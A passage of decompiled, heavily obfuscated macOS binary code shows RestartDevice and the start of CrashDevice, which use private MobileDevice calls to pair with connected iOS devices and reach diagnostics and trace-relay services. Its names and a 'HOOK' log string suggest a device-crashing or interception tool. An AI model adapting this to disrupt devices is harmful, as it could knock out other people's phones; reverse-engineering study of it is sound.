aJWIeU[60] = 32;
aJWIeU[61] = 101;
aJWIeU[62] = 115;
aJWIeU[63] = 112;
aJWIeU[64] = 101;
aJWIeU[65] = 114;
*v24 = -1441183477;
break;
}
}
else
{
switch ( v17 )
{
case -1449226135:
v18 = v16 + 1;
NSLog(CFSTR("_\xB5\x81i\x14ҽ\xBF\x017\xF0\x87\x97\xF967ܝ\x88\x06\xDA\x23Y\x8DV\x1DZ\x85\xF4\x6B\xFE\xA6\xC5\x08\x94\xB3vT\x11\xF2\xE8\xC4\x7E־\xFD\xE5\xA4\xCE\xE5\x9C\x06\xC5\x78G\xD2\xC9\xA5\x02\xAD\x8E|\xF8$"));
sleep(2u);
*v24 = -1286590685;
break;
case -1441183477:
v9 = 0;
v3 = -952898953;
v10 = 1632311963;
LABEL_120:
if ( !v9 )
v3 = v10;
LABEL_128:
*v24 = v3;
break;
case -1429676217:
*v20 = 0;
AMDeviceSecureStartService(a1);
*v24 = 1133728632;
break;
}
}
}
if ( v17 <= -1652096494 )
break;
switch ( v17 )
{
case -1652096493:
*v24 = -1825357956;
break;
case -1636573713:
v16 = v19;
v2 = 1;
v3 = -1429676217;
LABEL_125:
v8 = 1133728632;
LABEL_126:
if ( v2 )
v3 = v8;
goto LABEL_128;
case -1610353393:
v3 = -775357655;
goto LABEL_128;
}
}
if ( v17 <= -1888400546 )
break;
if ( v17 == -1888400545 )
{
v4 = 1;
v3 = -1610353393;
v5 = 600219658;
goto LABEL_90;
}
if ( v17 == -1825357956 )
{
v2 = 1;
v3 = -1053897277;
LABEL_115:
v8 = 458491133;
goto LABEL_126;
}
}
if ( v17 != -2025019556 )
break;
*v24 = 1265100775;
}
}
while ( v17 != -2067281517 );
return result;
}
// 100256186: using guessed type __int64 __fastcall AMDeviceSecureStartService(_QWORD);
// 100277C30: using guessed type __int16 aJWIeU[68];
// 10029F4FC: using guessed type int dword_10029F4FC;
//----- (00000001000C342C) ----------------------------------------------------
__int64 __fastcall RestartDevice(__int64 a1)
{
bool v1; // cf
int v2; // eax
int v3; // ecx
bool v4; // zf
int v5; // ecx
char v6; // cf
int v7; // ecx
const __CFData *Data; // r14
unsigned int v9; // r15d
const UInt8 *BytePtr; // r13
__int64 v11; // rdx
char IsPaired; // al
bool v13; // zf
int v14; // ecx
const __CFData *v15; // r14
unsigned int Length; // r13d
id v17; // rax
id v18; // rax
__int64 *v19; // r12
NSNumber *v20; // rax
NSNumber *v21; // r14
id v22; // rax
__int64 *v23; // r15
NSNumber *v24; // rax
NSNumber *v25; // r14
NSDictionary *v26; // rax
int started; // eax
const __CFData *v28; // r14
unsigned int v29; // r15d
id v30; // rax
__int64 v32; // [rsp+0h] [rbp-B0h] BYREF
CFAllocatorRef allocator; // [rsp+8h] [rbp-A8h]
SEL v34; // [rsp+10h] [rbp-A0h]
CFPropertyListRef propertyList; // [rsp+18h] [rbp-98h]
unsigned int v36; // [rsp+24h] [rbp-8Ch]
int v37; // [rsp+28h] [rbp-88h]
int v38; // [rsp+2Ch] [rbp-84h] BYREF
id v39; // [rsp+30h] [rbp-80h]
__int64 *v40; // [rsp+38h] [rbp-78h]
__int64 *v41; // [rsp+40h] [rbp-70h]
int v42; // [rsp+4Ch] [rbp-64h]
__int64 *v43; // [rsp+50h] [rbp-60h]
__int64 *v44; // [rsp+58h] [rbp-58h]
__int64 *v45; // [rsp+60h] [rbp-50h]
__int64 *v46; // [rsp+68h] [rbp-48h]
bool v47; // [rsp+73h] [rbp-3Dh]
char v48; // [rsp+74h] [rbp-3Ch]
bool v49; // [rsp+75h] [rbp-3Bh]
bool v50; // [rsp+76h] [rbp-3Ah]
char v51; // [rsp+77h] [rbp-39h]
int *v52; // [rsp+78h] [rbp-38h]
__int64 v53; // [rsp+80h] [rbp-30h]
v53 = -1;
v36 = -1361587065;
v38 = 1607165636;
v52 = &v38;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v38 <= -228901617 )
{
if ( v38 > -1299434919 )
{
if ( v38 <= -723027398 )
{
if ( v38 > -979452067 )
{
if ( v38 <= -852616565 )
{
if ( v38 == -979452066 )
{
*v52 = 1229515957;
}
else if ( v38 == -901307515 )
{
*v52 = -1995265261;
}
}
else
{
switch ( v38 )
{
case -852616564:
v1 = 1;
v2 = 807434155;
v3 = 632300281;
goto LABEL_210;
case -811197584:
goto LABEL_149;
case -753989407:
LABEL_97:
*v52 = -178668795;
break;
}
}
}
else if ( v38 <= -1232138331 )
{
if ( v38 == -1299434918 )
{
v4 = !v50;
v2 = 542765217;
v5 = 864299419;
goto LABEL_179;
}
if ( v38 == -1254197935 )
{
AMDeviceConnect(a1);
v6 = 1;
v2 = 1980824921;
v7 = -1254197935;
goto LABEL_190;
}
}
else
{
switch ( v38 )
{
case -1232138330:
*v52 = -1868166077;
break;
case -1210357533:
*v52 = -753989407;
break;
case -1030279680:
v4 = !v47;
v2 = -589246043;
v5 = -1709489882;
goto LABEL_179;
}
}
}
else if ( v38 <= -470823521 )
{
if ( v38 <= -601013985 )
{
if ( v38 == -723027397 )
{
*v52 = -589246043;
}
else if ( v38 == -690923500 )
{
*v52 = 994902944;
}
}
else
{
switch ( v38 )
{
case -601013984:
*v52 = -811197584;
break;
case -589246043:
v4 = 0;
v2 = 630937008;
v5 = -1834829342;
LABEL_179:
if ( !v4 )
v2 = v5;
goto LABEL_212;
case -547840516:
LABEL_186:
*v52 = -108381252;
break;
}
}
}
else if ( v38 > -392598746 )
{
switch ( v38 )
{
case -392598745:
v1 = 1;
v2 = 974716055;
v3 = -1254197935;
goto LABEL_210;
case -352288684:
*v52 = -1643620156;
break;
case -287957280:
LABEL_139:
*v52 = 1439848493;
break;
}
}
else
{
switch ( v38 )
{
case -470823520:
AMDeviceIsPaired(a1);
goto LABEL_186;
case -446445597:
v4 = v48 == 0;
v2 = 793190283;
v5 = -223266414;
goto LABEL_179;
case -434415257:
*v52 = 308786595;
break;
}
}
}
else if ( v38 <= -1716165356 )
{
if ( v38 > -1881979558 )
{
if ( v38 <= -1834829343 )
{
if ( v38 == -1881979557 )
{
*v52 = 679454816;
}
else if ( v38 == -1868166077 )
{
asc_100277F00[34] = 108;
asc_100277F00[35] = 97;
asc_100277F00[36] = 121;
asc_100277F00[37] = 32;
asc_100277F00[38] = 40;
asc_100277F00[39] = 101;
asc_100277F00[40] = 114;
asc_100277F00[41] = 114;
asc_100277F00[42] = 61;
asc_100277F00[43] = 37;
asc_100277F00[44] = 100;
asc_100277F00[45] = 41;
asc_100277F00[46] = 0;
strcpy(aJ_8, "[>] Sent Restart + Goodbye");
aO_7[0] = 82;
aO_7[1] = 101;
aO_7[2] = 115;
aO_7[3] = 116;
aO_7[4] = 97;
aO_7[5] = 114;
aO_7[6] = 116;
aO_7[7] = 0;
strcpy(a6, "[!] Device reference is NULL");
asc_100277EC3[0] = 82;
asc_100277EC3[1] = 101;
asc_100277EC3[2] = 113;
asc_100277EC3[3] = 117;
asc_100277EC3[4] = 101;
asc_100277EC3[5] = 115;
asc_100277EC3[6] = 116;
asc_100277EC3[7] = 0;
strcpy(asc_100277E10, "WaitForDisconnect");
aP_4[0] = 99;
aP_4[1] = 111;
aP_4[2] = 109;
v51 = 46;
*v52 = 678402720;
}
}
else
{
switch ( v38 )
{
case -1834829342:
dword_10029F500 = 1;
v6 = 0;
v46 = &v32 - 2;
v2 = 630937008;
v7 = -434415257;
goto LABEL_190;
case -1826100107:
LABEL_149:
*v52 = 1408124581;
break;
case -1774366124:
v1 = 1;
v37 = dword_10029F500;
v2 = -1716165355;
v3 = -690923500;
goto LABEL_210;
}
}
}
else if ( v38 <= -2017936684 )
{
if ( v38 == -2092426697 )
{
*v52 = -1577604698;
}
else if ( v38 == -2043557826 )
{
v13 = a1 == 0;
v2 = -392598745;
v14 = -1697763759;
goto LABEL_196;
}
}
else
{
switch ( v38 )
{
case -2017936683:
*v44 = (__int64)CFSTR("\xE7\xCD\x81&\xD6\xE4B");
*v43 = (__int64)CFSTR("o\x89\xAE\x80\xFF2\xCB\x7A");
v44[1] = (__int64)CFSTR("\xE2\x07\x15V7;pu\x16\x92#%\xA3\xF4\xDB\x80\x92{");
v23 = v43;
v24 = +[NSNumber numberWithBool:](&OBJC_CLASS___NSNumber, "numberWithBool:", 1);
v25 = objc_retainAutoreleasedReturnValue(v24);
v23[1] = (__int64)v25;
v26 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
v43,
v44,
2);
objc_retainAutoreleasedReturnValue(v26);
objc_release(v25);
*v52 = -1395900604;
break;
case -1995265261:
v6 = 1;
v2 = 887045638;
v7 = 474972325;
goto LABEL_190;
case -1924766244:
LABEL_76:
*v52 = -135212992;
break;
}
}
}
else if ( v38 <= -1640440253 )
{
if ( v38 <= -1707788214 )
{
if ( v38 == -1716165355 )
{
*v52 = -1774366124;
}
else if ( v38 == -1709489882 )
{
v4 = 0;
v2 = -1707788213;
v5 = 980208701;
goto LABEL_179;
}
}
else
{
switch ( v38 )
{
case -1707788213:
qmemcpy(asc_100277F00, "[!] Failed to start diagnostics_re", 34);
*v52 = 980208701;
break;
case -1697763759:
NSLog(CFSTR("\x1B6\xF6\x5C\xB3\xF4\x8C\xA5\xF4\x55\xD9\xE7\xB1\xE8\xFD\x69\x8E\xFA\x04\xF1\x23\xB9\xB3\x1A\v\x9D\xDD\x42"));
*v52 = 1680275870;
break;
case -1643620156:
v47 = v37 == 0;
v4 = 0;
v2 = -352288684;
v5 = -1881979557;
goto LABEL_179;
}
}
}
else if ( v38 > -1422982454 )
{
switch ( v38 )
{
case -1422982453:
*v52 = 1735067654;
break;
case -1395900604:
*v44 = (__int64)CFSTR("\xE7\xCD\x81&\xD6\xE4B");
*v43 = (__int64)CFSTR("o\x89\xAE\x80\xFF2\xCB\x7A");
v44[1] = (__int64)CFSTR("\xE2\x07\x15V7;pu\x16\x92#%\xA3\xF4\xDB\x80\x92{");
v19 = v43;
v20 = +[NSNumber numberWithBool:](&OBJC_CLASS___NSNumber, "numberWithBool:", 1);
v21 = objc_retainAutoreleasedReturnValue(v20);
v19[1] = (__int64)v21;
v34 = "dictionaryWithObjects:forKeys:count:";
v22 = HikariFunctionWrapper_16829(
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:");
v39 = objc_retainAutoreleasedReturnValue(v22);
objc_release(v21);
v4 = 0;
v2 = -1395900604;
v5 = -901307515;
goto LABEL_179;
case -1366524483:
aP_4[3] = v51;
aP_4[4] = 97;
aP_4[5] = 112;
aP_4[6] = 112;
aP_4[7] = 108;
aP_4[8] = 101;
aP_4[9] = 46;
aP_4[10] = 109;
aP_4[11] = 111;
aP_4[12] = 98;
aP_4[13] = 105;
aP_4[14] = 108;
aP_4[15] = 101;
aP_4[16] = 46;
aP_4[17] = 100;
aP_4[18] = 105;
aP_4[19] = 97;
aP_4[20] = 103;
aP_4[21] = 110;
aP_4[22] = 111;
aP_4[23] = 115;
aP_4[24] = 116;
aP_4[25] = 105;
aP_4[26] = 99;
aP_4[27] = 115;
aP_4[28] = 95;
aP_4[29] = 114;
aP_4[30] = 101;
aP_4[31] = 108;
aP_4[32] = 97;
aP_4[33] = 121;
aP_4[34] = 0;
asc_100277DE8[0] = 71;
asc_100277DE8[1] = 111;
asc_100277DE8[2] = 111;
asc_100277DE8[3] = 100;
asc_100277DE8[4] = 98;
asc_100277DE8[5] = 121;
asc_100277DE8[6] = 101;
v1 = 1;
asc_100277DE8[7] = 0;
v2 = -1366524483;
v3 = -723027397;
goto LABEL_210;
}
}
else
{
switch ( v38 )
{
case -1640440252:
HikariFunctionWrapper_16821(a1);
HikariFunctionWrapper_16823(a1);
HikariFunctionWrapper_16825(a1);
*v46 = 0;
started = AMDeviceSecureStartService(a1);
v49 = started == 0;
v6 = 0;
v42 = started;
v2 = -1640440252;
v7 = -228901616;
goto LABEL_190;
case -1623256825:
HikariFunctionWrapper_16839(a1);
AMDeviceStartSession(a1);
WaitForDiagnosticsRelay(a1);
*v46 = 0;
AMDeviceSecureStartService(a1);
*v52 = -1640440252;
break;
case -1577604698:
v1 = 1;
v2 = -2092426697;
v3 = -601013984;
goto LABEL_210;
}
}
}
if ( v38 <= 807434154 )
break;
if ( v38 <= 1450668687 )
{
if ( v38 > 980208700 )
{
if ( v38 <= 1229515956 )
{
if ( v38 == 980208701 )
{
qmemcpy(asc_100277F00, "[!] Failed to start diagnostics_re", 34);
*v52 = -1232138330;
}
else if ( v38 == 994902944 )
{
v1 = 1;
v2 = -352288684;
v3 = -1643620156;
goto LABEL_210;
}
}
else
{
switch ( v38 )
{
case 1229515957:
v43 = &v32;
v44 = &v32;
v45 = &v32;
v40 = &v32;
v13 = 0;
v41 = &v32 - 2;
v2 = 858576730;
v14 = -979452066;
goto LABEL_196;
case 1408124581:
v1 = 1;
v2 = -1826100107;
v3 = 386536361;
goto LABEL_210;
case 1439848493:
v6 = 1;
v2 = -1030279680;
v7 = -287957280;
goto LABEL_190;
}
}
}
else if ( v38 <= 864299418 )
{
if ( v38 == 807434155 )
{
*v52 = -852616564;
}
else if ( v38 == 858576730 )
{
*v52 = -2043557826;
}
}
else
{
switch ( v38 )
{
case 864299419:
v6 = 0;
v2 = -2017936683;
v7 = -1395900604;
goto LABEL_190;
case 887045638:
allocator = (CFAllocatorRef)-1LL;
v15 = HikariFunctionWrapper_16831(
(const __CFAllocator *)0xFFFFFFFFFFFFFFFFLL,
v39,
kCFPropertyListXMLFormat_v1_0,
0,
0);
Length = CFDataGetLength(v15);
*(_DWORD *)v45 = _byteswap_ulong(Length);
CFDataGetBytePtr(v15);
AMDServiceConnectionSend(*v46);
AMDServiceConnectionSend(*v46);
CFRelease(v15);
*v41 = (__int64)CFSTR("\xE7\xCD\x81&\xD6\xE4B");
*v40 = (__int64)CFSTR("\xDD\x67*\xAE\x19\xB2\x10");
v17 = HikariFunctionWrapper_16833(&OBJC_CLASS___NSDictionary, v34);
v18 = objc_retainAutoreleasedReturnValue(v17);
v4 = 0;
propertyList = v18;
v2 = 887045638;
v5 = 14589003;
goto LABEL_179;
case 974716055:
AMDeviceConnect(a1);
*v52 = -1254197935;
break;
}
}
}
else if ( v38 <= 1735067653 )
{
if ( v38 <= 1680275869 )
{
if ( v38 == 1450668688 )
{
v1 = 0;
v50 = v49 && *v46 != 0;
v2 = 1904844078;
v3 = 1450668688;
LABEL_210:
if ( v1 )
v2 = v3;
goto LABEL_212;
}
if ( v38 == 1607165636 )
{
v1 = v36 < 0x11B58FC0;
v2 = -1774366124;
v3 = -1716165355;
goto LABEL_210;
}
}
else
{
switch ( v38 )
{
case 1680275870:
v1 = 1;
v2 = 1971560916;
v3 = 85791461;
goto LABEL_210;
case 1717540896:
*v52 = 1450668688;
break;
case 1721727147:
Data = CFPropertyListCreateData(allocator, propertyList, kCFPropertyListXMLFormat_v1_0, 0, 0);
v9 = CFDataGetLength(Data);
*(_DWORD *)v45 = _byteswap_ulong(v9);
BytePtr = CFDataGetBytePtr(Data);
AMDServiceConnectionSend(*v46);
HikariFunctionWrapper_16835(*v46);
CFRelease(Data);
HikariFunctionWrapper_16837(&cfstr_J_8.isa);
AMDServiceConnectionInvalidate(*v46, BytePtr, v11);
objc_release((id)propertyList);
objc_release(v39);
goto LABEL_97;
}
}
}
else if ( v38 > 1980824920 )
{
switch ( v38 )
{
case 1980824921:
*v52 = -547840516;
break;
case 2109802366:
AMDevicePair(a1);
*v52 = -1422982453;
break;
case 2127133320:
HikariFunctionWrapper_16841(&stru_100278050.isa);
*v52 = -149511166;
break;
}
}
else
{
switch ( v38 )
{
case 1735067654:
v13 = 0;
v2 = -852616564;
v14 = 807434155;
LABEL_196:
if ( v13 )
v2 = v14;
LABEL_212:
*v52 = v2;
break;
case 1904844078:
*v52 = -1299434918;
break;
case 1971560916:
*v52 = 85791461;
break;
}
}
}
if ( v38 <= 474972324 )
break;
if ( v38 > 678402719 )
{
if ( v38 <= 709581669 )
{
if ( v38 == 678402720 )
{
v1 = 0;
v2 = -1366524483;
v3 = 796067360;
goto LABEL_210;
}
if ( v38 == 679454816 )
goto LABEL_139;
}
else
{
switch ( v38 )
{
case 709581670:
AMDevicePair(a1);
*v52 = 2109802366;
break;
case 793190283:
v4 = 0;
v2 = 709581670;
v5 = 2109802366;
goto LABEL_179;
case 796067360:
aP_4[3] = v51;
aP_4[4] = 97;
aP_4[5] = 112;
aP_4[6] = 112;
aP_4[7] = 108;
aP_4[8] = 101;
aP_4[9] = 46;
aP_4[10] = 109;
aP_4[11] = 111;
aP_4[12] = 98;
aP_4[13] = 105;
aP_4[14] = 108;
aP_4[15] = 101;
aP_4[16] = 46;
aP_4[17] = 100;
aP_4[18] = 105;
aP_4[19] = 97;
aP_4[20] = 103;
aP_4[21] = 110;
aP_4[22] = 111;
aP_4[23] = 115;
aP_4[24] = 116;
aP_4[25] = 105;
aP_4[26] = 99;
aP_4[27] = 115;
aP_4[28] = 95;
aP_4[29] = 114;
aP_4[30] = 101;
aP_4[31] = 108;
aP_4[32] = 97;
aP_4[33] = 121;
aP_4[34] = 0;
asc_100277DE8[0] = 71;
asc_100277DE8[1] = 111;
asc_100277DE8[2] = 111;
asc_100277DE8[3] = 100;
asc_100277DE8[4] = 98;
asc_100277DE8[5] = 121;
asc_100277DE8[6] = 101;
asc_100277DE8[7] = 0;
*v52 = -1366524483;
break;
}
}
}
else if ( v38 <= 630937007 )
{
if ( v38 == 474972325 )
{
v28 = CFPropertyListCreateData(
(CFAllocatorRef)0xFFFFFFFFFFFFFFFFLL,
v39,
kCFPropertyListXMLFormat_v1_0,
0,
0);
v29 = CFDataGetLength(v28);
*(_DWORD *)v45 = _byteswap_ulong(v29);
CFDataGetBytePtr(v28);
HikariFunctionWrapper_16843(*v46);
AMDServiceConnectionSend(*v46);
CFRelease(v28);
*v41 = (__int64)CFSTR("\xE7\xCD\x81&\xD6\xE4B");
*v40 = (__int64)CFSTR("\xDD\x67*\xAE\x19\xB2\x10");
v30 = objc_msgSend(&OBJC_CLASS___NSDictionary, v34, v40, v41, 1);
objc_retainAutoreleasedReturnValue(v30);
*v52 = 887045638;
}
else if ( v38 == 542765217 )
{
v6 = 1;
v2 = -149511166;
LABEL_163:
v7 = 2127133320;
goto LABEL_190;
}
}
else
{
switch ( v38 )
{
case 630937008:
dword_10029F500 = 1;
*v52 = -1834829342;
break;
case 632300281:
*v52 = -223266414;
break;
case 669312445:
v6 = 1;
v2 = 1450668688;
v7 = 1717540896;
goto LABEL_190;
}
}
}
if ( v38 <= 14589002 )
break;
if ( v38 <= 308786594 )
{
if ( v38 == 14589003 )
{
*v52 = 1721727147;
}
else if ( v38 == 85791461 )
{
v6 = 0;
v2 = 85791461;
v7 = -1924766244;
goto LABEL_190;
}
}
else
{
switch ( v38 )
{
case 308786595:
v6 = 0;
v2 = -979452066;
v7 = 1229515957;
LABEL_190:
if ( !v6 )
v2 = v7;
goto LABEL_212;
case 383803673:
*v52 = -446445597;
break;
case 386536361:
goto LABEL_76;
}
}
}
if ( v38 > -149511167 )
break;
switch ( v38 )
{
case -228901616:
*v52 = 669312445;
break;
case -223266414:
v6 = 1;
v2 = -1640440252;
v7 = -1623256825;
goto LABEL_190;
case -178668795:
v4 = 0;
v2 = -2092426697;
v5 = -1577604698;
goto LABEL_179;
}
}
if ( v38 == -149511166 )
{
HikariFunctionWrapper_16827(&stru_100278050.isa);
v6 = 1;
v2 = -1210357533;
goto LABEL_163;
}
if ( v38 == -108381252 )
{
IsPaired = AMDeviceIsPaired(a1);
v1 = 1;
v48 = IsPaired;
v2 = -108381252;
v3 = 383803673;
goto LABEL_210;
}
}
while ( v38 != -135212992 );
return -1;
}
// 1000C3D1C: variable 'v11' is possibly undefined
// 100256144: using guessed type __int64 __fastcall AMDServiceConnectionInvalidate(_QWORD, _QWORD, _QWORD);
// 100256150: using guessed type __int64 __fastcall AMDServiceConnectionSend(_QWORD);
// 100256156: using guessed type __int64 __fastcall AMDeviceConnect(_QWORD);
// 100256174: using guessed type __int64 __fastcall AMDeviceIsPaired(_QWORD);
// 100256180: using guessed type __int64 __fastcall AMDevicePair(_QWORD);
// 100256186: using guessed type __int64 __fastcall AMDeviceSecureStartService(_QWORD);
// 100256198: using guessed type __int64 __fastcall AMDeviceStartSession(_QWORD);
// 100277F50: using guessed type __CFString stru_100277F50;
// 100277F90: using guessed type __CFString stru_100277F90;
// 100277FD0: using guessed type __CFString cfstr_O_7;
// 100278050: using guessed type __CFString stru_100278050;
// 100278090: using guessed type __CFString stru_100278090;
// 1002780D0: using guessed type __CFString cfstr_J_8;
// 10029F500: using guessed type int dword_10029F500;
//----- (00000001000C5AB4) ----------------------------------------------------
__int64 __fastcall CrashDevice(__int64 a1, __int64 a2, __int64 a3, unsigned int a4)
{
__int64 result; // rax
bool v5; // cf
int v6; // eax
int v7; // ecx
bool v8; // zf
int v9; // ecx
char v10; // cf
int v11; // ecx
id v12; // rax
id v13; // r14
id v14; // rax
CFIndex v15; // rax
CFDataRef v16; // rax
CFErrorRef v17; // rcx
unsigned int v18; // eax
UInt8 *v19; // rax
id v20; // rax
id v21; // r14
id v22; // rax
CFNumberRef v23; // r14
const __CFData *v24; // rax
id v25; // rax
__CFDictionary *Mutable; // r14
CFNumberRef v27; // r15
__CFError *v28; // rax
__int64 v29; // [rsp+0h] [rbp-150h] BYREF
__CFError *v30; // [rsp+8h] [rbp-148h]
id v31; // [rsp+10h] [rbp-140h]
SEL v32; // [rsp+18h] [rbp-138h]
id v33; // [rsp+20h] [rbp-130h]
SEL v34; // [rsp+28h] [rbp-128h]
const UInt8 *BytePtr; // [rsp+30h] [rbp-120h]
CFIndex v36; // [rsp+38h] [rbp-118h]
__int64 v37; // [rsp+40h] [rbp-110h]
__int64 v38; // [rsp+48h] [rbp-108h]
CFErrorRef v39; // [rsp+50h] [rbp-100h]
id v40; // [rsp+58h] [rbp-F8h]
CFErrorRef v41; // [rsp+60h] [rbp-F0h]
id v42; // [rsp+68h] [rbp-E8h]
__int64 v43; // [rsp+70h] [rbp-E0h]
unsigned int v44; // [rsp+7Ch] [rbp-D4h]
int v45; // [rsp+80h] [rbp-D0h]
int v46; // [rsp+84h] [rbp-CCh] BYREF
id v47; // [rsp+88h] [rbp-C8h]
CFDataRef Data; // [rsp+90h] [rbp-C0h]
void *valuePtr; // [rsp+98h] [rbp-B8h]
__int64 *v50; // [rsp+A0h] [rbp-B0h]
id v51; // [rsp+A8h] [rbp-A8h]
CFMutableDictionaryRef theDict; // [rsp+B0h] [rbp-A0h]
CFIndex length; // [rsp+B8h] [rbp-98h]
CFTypeRef v54; // [rsp+C0h] [rbp-90h]
CFTypeRef propertyList; // [rsp+C8h] [rbp-88h]
unsigned int v56; // [rsp+D4h] [rbp-7Ch]
id v57; // [rsp+D8h] [rbp-78h]
unsigned int *v58; // [rsp+E0h] [rbp-70h]
CFDataRef theData; // [rsp+E8h] [rbp-68h]
CFErrorRef *error; // [rsp+F0h] [rbp-60h]
CFAllocatorRef allocator; // [rsp+F8h] [rbp-58h]
UInt8 *bytes; // [rsp+100h] [rbp-50h]
__int64 *v63; // [rsp+108h] [rbp-48h]
bool v64; // [rsp+117h] [rbp-39h]
bool v65; // [rsp+118h] [rbp-38h]
bool v66; // [rsp+119h] [rbp-37h]
bool v67; // [rsp+11Ah] [rbp-36h]
bool v68; // [rsp+11Bh] [rbp-35h]
bool v69; // [rsp+11Ch] [rbp-34h]
bool v70; // [rsp+11Dh] [rbp-33h]
bool v71; // [rsp+11Eh] [rbp-32h]
char v72; // [rsp+11Fh] [rbp-31h]
int *v73; // [rsp+120h] [rbp-30h]
v43 = a1;
v44 = -1376804434;
v46 = -1508150356;
v73 = &v46;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v46;
if ( v46 > -149900735 )
break;
if ( v46 > -1171294148 )
{
if ( v46 > -728896884 )
{
if ( v46 > -452718264 )
{
if ( v46 <= -255605812 )
{
if ( v46 <= -421706764 )
{
if ( v46 == -452718263 )
{
NSLog(CFSTR("{Zt;Z\xBA\xAAh\x98S]\xF8\xF8Gt\x9F뾙\x1E\xB4\x90\x03\xF1\xF7\xB7\xF1@S^"));
v10 = 0;
v6 = -1005610195;
v11 = -485012528;
goto LABEL_415;
}
if ( v46 == -438989384 )
{
a3 = 640161808;
v10 = 0;
v38 = *v63;
v6 = -438989384;
v11 = 1167512176;
goto LABEL_415;
}
}
else
{
switch ( v46 )
{
case -421706763:
*v73 = -2066534301;
break;
case -306291889:
a3 = 2907814394LL;
v6 = -513313315;
goto LABEL_426;
case -305630254:
HikariFunctionWrapper_16871(theDict);
*v73 = -1304538639;
break;
}
}
}
else if ( v46 > -185725373 )
{
switch ( v46 )
{
case -185725372:
*v73 = -2103600720;
break;
case -183307905:
a3 = 1517975762;
v8 = 0;
v6 = -116111499;
v9 = 1431608025;
LABEL_424:
if ( !v8 )
v6 = v9;
goto LABEL_426;
case -162074895:
*v73 = 231949662;
break;
}
}
else
{
switch ( v46 )
{
case -255605811:
asc_100277EC3[7] = 0;
strcpy(asc_1002782B0, "[!] No se pudo iniciar servicio com.apple.os_trace_relay, err=%d");
strcpy(asc_100278330, "[!] Error serializando request: %@");
strcpy(aApo, "SizeLimit");
strcpy(asc_100278200, "[%@] [HOOK] AMDServiceConnectionSend (len=%u)");
strcpy(aZtZ, "[!] Error parseando respuesta");
asc_10027835C[0] = 72;
asc_10027835C[1] = 72;
asc_10027835C[2] = 58;
asc_10027835C[3] = 109;
asc_10027835C[4] = 109;
asc_10027835C[5] = 58;
LOBYTE(result) = 31;
a4 = result;
asc_10027835C[6] = 115;
asc_10027835C[7] = 115;
*v73 = -1213946783;
break;
case -236020648:
a2 = 4276167091LL;
a3 = 0;
v6 = -727147314;
goto LABEL_426;
case -218130196:
v5 = 0;
v6 = 2084924283;
v7 = 1331762268;
goto LABEL_420;
}
}
}
else if ( v46 <= -615042781 )
{
if ( v46 <= -679024399 )
{
if ( v46 == -728896883 )
{
v8 = !v70;
v6 = -1644312566;
v9 = -2082899432;
goto LABEL_424;
}
if ( v46 == -727147314 )
{
free(bytes);
v5 = 1;
v6 = -727147314;
v7 = 992715947;
goto LABEL_420;
}
}
else
{
switch ( v46 )
{
case -679024398:
a3 = 200941620;
v8 = 0;
v6 = -679024398;
v9 = 51807922;
goto LABEL_424;
case -662129380:
length = _byteswap_ulong(*v58);
v19 = (UInt8 *)malloc(length);
v8 = 0;
bytes = v19;
v6 = -662129380;
v9 = 1749958759;
goto LABEL_424;
case -644627079:
v5 = 0;
v6 = -2019412908;
v7 = 330378019;
goto LABEL_420;
}
}
}
else if ( v46 > -513313316 )
{
switch ( v46 )
{
case -513313315:
objc_release(v57);
v6 = 1169063125;
goto LABEL_426;
case -499170565:
AMDServiceConnectionSend(v37);
a2 = (__int64)BytePtr;
HikariFunctionWrapper_16875(*v63);
HikariFunctionWrapper_16877(theData);
*v58 = 0;
*v73 = 1735822735;
break;
case -485012528:
*v73 = -1981191994;
break;
}
}
else
{
switch ( v46 )
{
case -615042780:
v8 = !v64;
v6 = -2062562403;
v9 = 421936042;
goto LABEL_424;
case -584739520:
*v73 = -1738429570;
break;
case -568664950:
a3 = 103302836;
v10 = 0;
v6 = -1098841667;
v11 = 2094565594;
goto LABEL_415;
}
}
}
else if ( v46 > -937507551 )
{
if ( v46 <= -897967622 )
{
if ( v46 <= -916106825 )
{
if ( v46 == -937507550 )
{
*v73 = -1773961608;
}
else if ( v46 == -930889479 )
{
*v73 = 1781839948;
}
}
else
{
switch ( v46 )
{
case -916106824:
v6 = 1231294825;
goto LABEL_426;
case -915551781:
*v73 = -747235073;
break;
case -909116997:
v12 = objc_msgSend(v33, v34);
v13 = objc_retainAutoreleasedReturnValue(v12);
v14 = objc_msgSend(v47, "stringFromDate:", v13);
v51 = objc_retainAutoreleasedReturnValue(v14);
objc_release(v13);
a2 = (__int64)CFSTR("\xF9\xE4\x46\xF2\xB7\x03\xAFN\xCC\x69a\x04\x82E+\xF2\x56\x1B\x5A\xF6\x61\xB3\xEF\x87");
v56 = HikariFunctionWrapper_16845(v43);
v5 = 0;
v65 = v56 == 0 && *v63 != 0;
v6 = 823599680;
v7 = -1469624418;
goto LABEL_420;
}
}
}
else if ( v46 > -785954875 )
{
switch ( v46 )
{
case -785954874:
*v73 = 417768604;
break;
case -761859269:
objc_release(v42);
*v73 = -1613549261;
break;
case -747235073:
goto LABEL_249;
}
}
else
{
switch ( v46 )
{
case -897967621:
a3 = 2148147234LL;
v5 = 0;
v6 = -568664950;
v7 = -1098841667;
goto LABEL_420;
case -889538426:
v5 = 0;
v6 = -679024398;
v7 = 1348031446;
goto LABEL_420;
case -884858361:
a3 = 1380413112;
v8 = 0;
v6 = -884858361;
v9 = 2043010890;
goto LABEL_424;
}
}
}
else if ( v46 <= -1065955220 )
{
if ( v46 <= -1157482809 )
{
if ( v46 == -1171294147 )
{
*v73 = 1334303420;
}
else if ( v46 == -1158930185 )
{
v6 = -915551781;
goto LABEL_426;
}
}
else
{
switch ( v46 )
{
case -1157482808:
CFDataGetBytePtr(theData);
v18 = CFDataGetLength(theData);
*(_DWORD *)v50 = _byteswap_ulong(v18);
a2 = (__int64)v51;
HikariFunctionWrapper_16873(CFSTR("\xEF\x8F\xC2\xD2\x79:?@\xB3\x1E\x01.=6b\xD8\x33\xEC\x70\xF1\xBE-\xB27\xEE\xD0\x07?\xBC\xE4\x22\xF2\xBB\xA5\xA2\x13\xB1\xFC\xDA\xDBÈ<\xCC\x19/"));
*v73 = 1039752636;
break;
case -1130644664:
a3 = 268566597;
